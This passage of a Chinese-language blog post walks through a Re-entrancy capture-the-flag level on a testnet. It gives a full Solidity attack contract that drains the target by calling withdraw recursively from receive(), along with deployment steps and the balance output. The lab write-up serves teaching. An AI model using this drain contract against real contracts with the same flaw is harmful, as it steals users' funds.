withdraw()<\/code> \u51fd\u6578\uff0c\u5c31\u6703\u9020\u6210\u300c\u91cd\u5165\uff08Re-entrancy\uff09\u300d\u3002\u9019\u500b\u904e\u7a0b\u6703\u50cf\u7121\u9650\u8ff4\u5708\u4e00\u6a23\uff0c\u4e0d\u65b7\u5730\u300c\u8f49\u5e33 -> \u89f8\u767c\u60e1\u610f\u5408\u7d04 ->\u518d\u6b21\u8981\u6c42\u63d0\u6b3e -> \u518d\u6b21\u8f49\u5e33\u300d\uff0c\u76f4\u5230\u9776\u6a5f\u5408\u7d04\u88e1\u7684\u8cc7\u91d1\u88ab\u5b8c\u5168\u69a8\u4e7e\u70ba\u6b62\u3002<\/p>\n\n\n\n\u89e3\u7b54\u6b65\u9a5f<\/h3>\n\n\n\n
\u9019\u95dc\u7121\u6cd5\u55ae\u7d14\u9760\u7db2\u9801\u63a7\u5236\u53f0\u5b8c\u6210\uff0c\u9700\u8981\u64b0\u5beb\u4e26\u90e8\u7f72\u4e00\u500b\u60e1\u610f\u5408\u7d04\u4f86\u9032\u884c\u653b\u64ca\u3002<\/p>\n\n\n\n
1. \u6e96\u5099\u653b\u64ca\u5408\u7d04 : <\/h3>\n\n\n\n
\u65b0\u5efa\u4e00\u500b\u540d\u70ba Attack.sol<\/code> \u7684\u6a94\u6848\uff0c\u8cbc\u4e0a\u4ee5\u4e0b\u7a0b\u5f0f\u78bc\uff1a<\/p>\n\n\n\n\/\/ SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IReentrance {\n function donate(address _to) external payable;\n function withdraw(uint _amount) external;\n}\n\ncontract Attack {\n IReentrance public target;\n uint public amount = 0.001 ether;\n\n constructor(address _targetAddress) {\n target = IReentrance(_targetAddress);\n }\n\n function attack() external payable {\n require(msg.value >= amount, \"Need some ETH\");\n target.donate{value: amount}(address(this));\n target.withdraw(amount);\n }\n\n receive() external payable {\n uint targetBalance = address(target).balance;\n if (targetBalance > 0) {\n target.withdraw(amount <= targetBalance ? amount : targetBalance);\n }\n }\n}\n<\/code><\/pre>\n\n\n\n2.\u4ee3\u78bc\u89e3\u8aaa<\/h3>\n\n\n\n\u4ecb\u9762\u8207\u8b8a\u6578 (Interface & Variables)<\/h4>\n\n\n\ninterface IReentrance {\n function donate(address _to) external payable;\n function withdraw(uint _amount) external;\n}\n<\/code><\/pre>\n\n\n\n\ninterface<\/code> (\u4ecb\u9762)\uff1a\u9019\u662f\u9776\u6a5f\u7684\u8aaa\u660e\u66f8\u3002\u56e0\u70ba\u4f60\u7684\u653b\u64ca\u5408\u7d04\u539f\u672c\u4e0d\u8a8d\u8b58\u9776\u6a5f\uff0c\u900f\u904e\u5b9a\u7fa9\u4ecb\u9762\uff0c\u653b\u64ca\u5408\u7d04\u624d\u77e5\u9053\u9776\u6a5f\u8eab\u4e0a\u6709 donate<\/code> \u548c withdraw<\/code> \u9019\u5169\u500b\u6309\u9215\u53ef\u4ee5\u6309\uff0c\u4ee5\u53ca\u547c\u53eb\u5b83\u5011\u6642\u9700\u8981\u5e36\u5165\u4ec0\u9ebc\u53c3\u6578\u3002<\/li>\n<\/ul>\n\n\n\nIReentrance public target;\nuint public amount = 0.001 ether;\n\nconstructor(address _targetAddress) {\n target = IReentrance(_targetAddress);\n}<\/code><\/pre>\n\n\n\n\ntarget<\/code><\/strong>\uff1a\u7528\u4f86\u5132\u5b58\u9776\u6a5f\u7684\u5730\u5740\uff0c\u4e26\u5c07\u5176\u5305\u88dd\u6210\u4e0a\u9762\u5b9a\u7fa9\u7684 IReentrance<\/code> \u4ecb\u9762\uff0c\u65b9\u4fbf\u5f8c\u7e8c\u76f4\u63a5\u547c\u53eb\u3002<\/li>\n\n\n\namount<\/code><\/strong>\uff1a\u8a2d\u5b9a\u6bcf\u6b21\u62bd\u6c34\u7684\u300c\u7ba1\u5f91\u300d\u3002\u8a2d\u5b9a\u70ba 0.001 ETH \u662f\u56e0\u70ba\u9776\u6a5f\u9810\u8a2d\u88e1\u9762\u6709 0.001 ETH\uff0c\u52a0\u4e0a\u4f60\u653b\u64ca\u6642\u5e36\u5165\u7684 0.001 ETH\uff0c\u7e3d\u5171 0.002 ETH\uff0c\u6bcf\u6b21\u62bd 0.001 \u525b\u597d\u53ef\u4ee5\u89f8\u767c\u591a\u6b21\u8ff4\u5708\u3002<\/li>\n\n\n\nconstructor<\/code><\/strong>\uff1a\u5728\u4f60\u6309\u4e0b Remix \u7684 Deploy \u6642\u57f7\u884c\uff0c\u628a\u9776\u6a5f\u7684\u5be6\u4f8b\u5730\u5740\u7d81\u5b9a\u5230\u5408\u7d04\u4e0a\u3002<\/li>\n<\/ul>\n\n\n\n\u9ede\u706b\u958b\u95dc\uff1aattack()<\/code> \u51fd\u6578<\/h4>\n\n\n\nfunction attack() external payable {\n require(msg.value >= amount, \"Need some ETH\");\n \n target.donate{value: amount}(address(this));\n target.withdraw(amount);\n}\n<\/code><\/pre>\n\n\n\n\nrequire<\/code><\/strong>\uff1a\u5b89\u5168\u6aa2\u67e5\uff0c\u78ba\u4fdd\u4f60\u6309 attack<\/code> \u6642\uff0c Value \u6b04\u4f4d\u5927\u65bc 0.001 ETH \u7576\u4f5c\u5b50\u5f48\u3002<\/li>\n\n\n\ntarget.donate...<\/code> <\/strong>\uff1a\u653b\u64ca\u5408\u7d04\u5e36\u8457\u9019 0.001 ETH \u547c\u53eb\u9776\u6a5f\u7684 donate<\/code>\u3002\u9776\u6a5f\u6703\u5728\u5b83\u7684\u5e33\u672c\u4e0a\u8a18\u9304\uff1abalances[\u653b\u64ca\u5408\u7d04] = 0.001 ETH<\/code>\u3002\u6709\u4e86\u9019\u7b46\u5e33\u9762\u9918\u984d\uff0c\u624d\u80fd\u9a19\u904e\u9776\u6a5f\u7684\u63d0\u6b3e\u6aa2\u67e5\u3002<\/li>\n\n\n\ntarget.withdraw(amount)<\/code><\/strong>\uff1a\u7acb\u523b\u5411\u9776\u6a5f\u8981\u6c42\u63d0\u6b3e 0.001 ETH\u3002\u9019\u6703\u89f8\u767c\u9776\u6a5f\u628a\u9322\u8f49\u7d66\u6211\u5011\u3002<\/li>\n<\/ul>\n\n\n\n\u7121\u7aae\u8ff4\u5708\u9677\u9631\uff1areceive()<\/code> \u51fd\u6578<\/h4>\n\n\n\n\u9019\u662f\u91cd\u5165\u653b\u64ca\u7684\u771f\u6b63\u6838\u5fc3\u3002\u9019\u662f\u4e00\u500b\u7279\u6b8a\u7684\u5167\u5efa\u51fd\u6578\uff0c\u7576\u4efb\u4f55\u4eba\uff08\u5305\u542b\u9776\u6a5f\uff09\u55ae\u7d14\u8f49\u5e33 ETH \u7d66\u9019\u500b\u5408\u7d04\u6642\uff0c\u9019\u500b\u51fd\u6578\u5c31\u6703\u88ab\u300c\u81ea\u52d5\u89f8\u767c\u300d\u3002<\/p>\n\n\n\n
receive() external payable {\n uint targetBalance = address(target).balance;\n if (targetBalance > 0) {\n target.withdraw(amount <= targetBalance ? amount : targetBalance);\n }\n}<\/code><\/pre>\n\n\n\n\n- \u89f8\u767c\u6642\u6a5f<\/strong>\uff1a\u7576\u9776\u6a5f\u5728\u56de\u61c9\u4e0a\u9762\u7684
target.withdraw<\/code>\uff0c\u4e26\u4f7f\u7528 .call{value: 0.001 ether}(\"\")<\/code> \u628a\u9322\u767c\u9001\u7d66\u4f60\u7684\u5408\u7d04\u6642\uff0c\u9019\u6bb5\u7a0b\u5f0f\u78bc\u6703\u77ac\u9593\u4ecb\u5165\u63a5\u7ba1\u63a7\u5236\u6b0a\u3002<\/li>\n\n\n\ntargetBalance<\/code><\/strong>\uff1a\u653b\u64ca\u5408\u7d04\u5148\u5077\u770b\u4e00\u4e0b\u9776\u6a5f\u7684\u91d1\u5eab\u88e1\u9084\u5269\u591a\u5c11\u9322\u3002<\/li>\n\n\n\nif (targetBalance > 0)<\/code><\/strong>\uff1a\u53ea\u8981\u9776\u6a5f\u9084\u6c92\u88ab\u62bd\u4e7e\uff0c\u5c31\u7e7c\u7e8c\u653b\u64ca\u3002<\/li>\n\n\n\n- \u518d\u6b21\u547c\u53eb
target.withdraw(...)<\/code>\uff1a\u9019\u662f\u6700\u81f4\u547d\u7684\u4e00\u64ca\u3002\u56e0\u70ba\u9776\u6a5f\u9084\u6c92\u57f7\u884c\u5230\u300c\u6263\u9664\u6211\u5011\u5e33\u9762\u9918\u984d\u300d\u7684\u7a0b\u5f0f\u78bc\uff08\u9776\u6a5f\u5361\u5728\u767c\u9001 ETH \u90a3\u4e00\u6b65\uff09\uff0c\u6240\u4ee5\u7576\u6211\u5011\u7b2c\u4e8c\u6b21\u8981\u6c42\u63d0\u6b3e\u6642\uff0c\u9776\u6a5f\u4f9d\u7136\u4ee5\u70ba\u6211\u5011\u6709 0.001 ETH \u7684\u984d\u5ea6\uff0c\u65bc\u662f\u53c8\u50bb\u50bb\u5730\u628a\u9322\u8f49\u904e\u4f86\u3002<\/li>\n\n\n\n- \u4e09\u5143\u904b\u7b97\u5b50
? :<\/code>\uff1a\u9019\u662f\u4e00\u500b\u9632\u5446\u6a5f\u5236\u3002\u610f\u601d\u662f\u300c\u5982\u679c\u9776\u6a5f\u9918\u984d\u5927\u65bc\u7b49\u65bc 0.001\uff0c\u5c31\u63d0\u6b3e 0.001\uff1b\u5982\u679c\u9776\u6a5f\u9918\u984d\u5269\u4e0b\u4e0d\u5230 0.001\uff08\u4f8b\u5982\u5269 0.0005\uff09\uff0c\u90a3\u5c31\u628a\u5269\u4e0b\u7684\u96f6\u982d\u5168\u90e8\u63d0\u5149\u300d\u3002\u9019\u80fd\u9632\u6b62\u6700\u5f8c\u4e00\u6b21\u63d0\u6b3e\u56e0\u70ba\u91d1\u984d\u4e0d\u8db3\u800c\u5c0e\u81f4\u6574\u7b46\u4ea4\u6613\u5931\u6557 (Revert)\u3002<\/li>\n<\/ul>\n\n\n\n\u5b8c\u6574\u653b\u64ca\u5408\u7d04\u6d41\u7a0b <\/h4>\n\n\n\n
\u9019\u6bb5\u653b\u64ca\u5728\u5340\u584a\u93c8\u4e0a\u662f\u5728\u96f6\u9ede\u5e7e\u79d2\u5167\u7684\u4e00\u7b46\u4ea4\u6613\u4e2d\u77ac\u9593\u5b8c\u6210\u7684\uff1a<\/p>\n\n\n\n
\n- \u4f60\u547c\u53eb
attack()<\/code> -> \u6350\u6b3e 0.001 -> \u8981\u6c42\u63d0\u6b3e 0.001\u3002<\/li>\n\n\n\n- \u9776\u6a5f\u6aa2\u67e5\u4f60\u6709\u9918\u984d -> \u8f49\u51fa 0.001 \u7d66\u4f60\u3002<\/li>\n\n\n\n
- \u4f60\u7684
receive()<\/code> \u88ab\u89f8\u767c -> \u767c\u73fe\u9776\u6a5f\u9084\u6709\u9322 -> \u518d\u6b21\u8981\u6c42\u63d0\u6b3e 0.001\u3002<\/li>\n\n\n\n- \u9776\u6a5f\uff08\u9084\u6c92\u6263\u9664\u4f60\u7684\u9918\u984d\uff09\u6aa2\u67e5\u767c\u73fe\u4f60\u9084\u6709\u9918\u984d -> \u53c8\u8f49\u51fa 0.001 \u7d66\u4f60\u3002<\/li>\n\n\n\n
- \u4f60\u7684
receive()<\/code> \u518d\u6b21\u88ab\u89f8\u767c -> \u518d\u6b21\u8981\u6c42\u63d0\u6b3e 0.001\u3002<\/li>\n\n\n\n- \u9776\u6a5f\u4e0d\u65b7\u8f49\u9322\uff0c\u76f4\u5230\u91d1\u5eab\u6b78\u96f6\u3002<\/li>\n\n\n\n
- \u60e1\u610f\u5408\u7d04\u7684
if (targetBalance > 0)<\/code> \u689d\u4ef6\u4e0d\u6210\u7acb\uff0c\u505c\u6b62\u8ff4\u5708\u3002<\/li>\n\n\n\n- \u9776\u6a5f\u9019\u624d\u6162\u541e\u541e\u5730\u958b\u59cb\u57f7\u884c\u5b83\u7a0b\u5f0f\u78bc\u5f8c\u9762\u7684
balances -= _amount<\/code>\uff0c\u4f46\u91d1\u5eab\u65e9\u5c31\u5df2\u7d93\u88ab\u4f60\u638f\u7a7a\u4e86\u3002<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\n
3. \u90e8\u7f72\u60e1\u610f\u5408\u7d04\u4e26\u57f7\u884c\u653b\u64ca<\/h3>\n\n\n\n\n- \u5728 Remix \u5de6\u5074\u7684 Deploy \u9801\u7c64\u4e2d\uff0c\u74b0\u5883\uff08Environment\uff09\u9078\u64c7 Injected Provider – MetaMask\u3002<\/li>\n\n\n\n
- \u5728 Deploy \u6b04\u4f4d\u65c1\u50b3\u5165\u4f60\u525b\u525b\u5728\u63a7\u5236\u53f0\u53d6\u5f97\u7684\u9776\u6a5f\u5408\u7d04\u5730\u5740\uff08instance\u7684\u5730\u5740\uff09\uff0c\u9ede\u64ca Deploy \u90e8\u7f72\u60e1\u610f\u5408\u7d04\u3002\u90e8\u7f72\u5b8c\u6210\u5f8c\uff0c\u5047\u8a2d\u4f48\u7f72\u5b8c\u7684\u653b\u64ca\u5408\u7d04\u70ba
0x4c9c7ad14dD32C56202e7d7A98c2cdf7520d8583<\/code><\/li>\n\n\n\n- \u5728\u57f7\u884c\u51fd\u6578\u7684\u5730\u65b9\uff0c\u628aValue \u6b04\u4f4d\u8a2d\u5b9a\u70ba
1<\/code> Finney<\/code>\uff08\u7b49\u540c\u65bc 0.001 Ether\uff0c\u9019\u662f\u6211\u5011\u767c\u52d5\u653b\u64ca\u9700\u8981\u7684\u521d\u59cb\u8cc7\u91d1\uff09\uff0c\u89f8\u767c attack \u51fd\u6578 \uff0c\u60e1\u610f\u5408\u7d04\u6703\u5728\u4e00\u77ac\u9593\u900f\u904e\u905e\u8ff4\u7684\u65b9\u5f0f\u628a\u9776\u6a5f\u62bd\u4e7e\u3002<\/li>\n<\/ul>\n\n\n\n\u6aa2\u67e5\u7d50\u679c<\/h4>\n\n\n\n
\u56de\u5230\u700f\u89bd\u5668\u958b\u767c\u8005\u63a7\u5236\u53f0\uff0c\u518d\u6b21\u6aa2\u67e5\u9918\u984d\u5df1\u6b780\uff0c\u67e5\u770b\u653b\u64ca\u5408\u7d04\u767c\u73fe\u62ff\u5230\u6240\u6709\u7684donate\u70ba 0.03\uff0c \u5982\u4e0b <\/p>\n\n\n\n
> await getBalance(instance)\n\"0\" \n>await getBalance(\"0x4c9c7ad14dD32C56202e7d7A98c2cdf7520d8583\");\n'0.003'<\/code><\/pre>\n\n\n\n\u6b64\u6642\u9ede\u64ca\u7db2\u9801\u4e0a\u7684 Submit instance \u5373\u53ef\u901a\u95dc<\/p>\n\n\n\n
Sepolia\u5340\u584a\u93c8\u700f\u89bd\u5668\u7684\u8a18\u9304<\/h4>\n\n\n\n
Re-entrancy\u7684\u52d5\u4f5c\u5728\u4e00\u822c\u7684 Transactions<\/code> \u9801\u7c64\u88e1\u627e\u4e0d\u5230\u5408\u7d04\u4e4b\u9593\u7684\u8f49\u5e33\u7d00\u9304\uff0c\u4f46\u53ef\u4ee5\u5728 Internal Txns<\/code>\uff08\u5167\u90e8\u4ea4\u6613\uff09\u627e\u5230\uff0c\u53ef\u4ee5\u770b\u5230\u667a\u80fd\u5408\u7d04\u547c\u53eb\u53e6\u4e00\u500b\u667a\u80fd\u5408\u7d04\u6240\u7522\u751f\u7684\u8cc7\u91d1\u6d41\u52d5\u3002\u53ef\u4ee5\u770b\u5230\u4e00\u9577\u4e32\u6975\u5ea6\u5bc6\u96c6\u7684\u8f49\u5e33\u7d00\u9304\uff0c\u91cd\u73fe\u91cd\u5165\u653b\u64ca\u8ecc\u8de1\uff1a<\/p>\n\n\n\n\n- Out (\u8f49\u51fa)<\/strong>\uff1a\u4f60\u7684 Attack \u5408\u7d04\u8f49\u4e86 0.001 ETH \u7d66\u9776\u6a5f\uff08\u9019\u662f
target.donate<\/code> \u4f48\u4e0b\u8a98\u990c\u7684\u52d5\u4f5c\uff09\u3002<\/li>\n\n\n\n- In (\u8f49\u5165)<\/strong>\uff1a\u9776\u6a5f\u8f49\u4e86 0.001 ETH \u7d66\u4f60\u7684 Attack \u5408\u7d04\uff08\u9019\u662f\u7b2c\u4e00\u6b21
withdraw<\/code>\uff09\u3002<\/li>\n\n\n\n- In (\u8f49\u5165)<\/strong>\uff1a\u9776\u6a5f\u53c8\u8f49\u4e86 0.001 ETH \u7d66\u4f60\uff08\u7b2c\u4e00\u6b21\u91cd\u5165\uff09\u3002<\/li>\n\n\n\n
- In (\u8f49\u5165)<\/strong>\uff1a\u9776\u6a5f\u6700\u5f8c\u628a\u5269\u4e0b\u7684 0.001 ETH \u8f49\u7d66\u4f60\uff08\u7b2c\u4e8c\u6b21\u91cd\u5165\uff0c\u69a8\u4e7e\uff09\u3002<\/li>\n<\/ol>\n\n\n\n
\u8a18\u9304\u53ef\u53c3\u8003 https:\/\/sepolia.etherscan.io\/tx\/0x50bc4396e968bb390f8c3d6767daf8a7b2911339267322524832bd2262661263#internal<\/p>\n","protected":false},"excerpt":{"rendered":"
\u9019\u95dc\u7684\u6838\u5fc3\u65e8\u5728\u63ed\u793a Solidity \u4e2d\u6700\u60e1\u540d\u662d\u5f70\u7684\u6f0f\u6d1e\u4e4b\u4e00\uff1a\u91cd\u5165\u653b\u64ca\uff08Re-entrancy\uff09\u3002\u6b77\u53f2\u4e0a\u8457\u540d\u7684 The DAO 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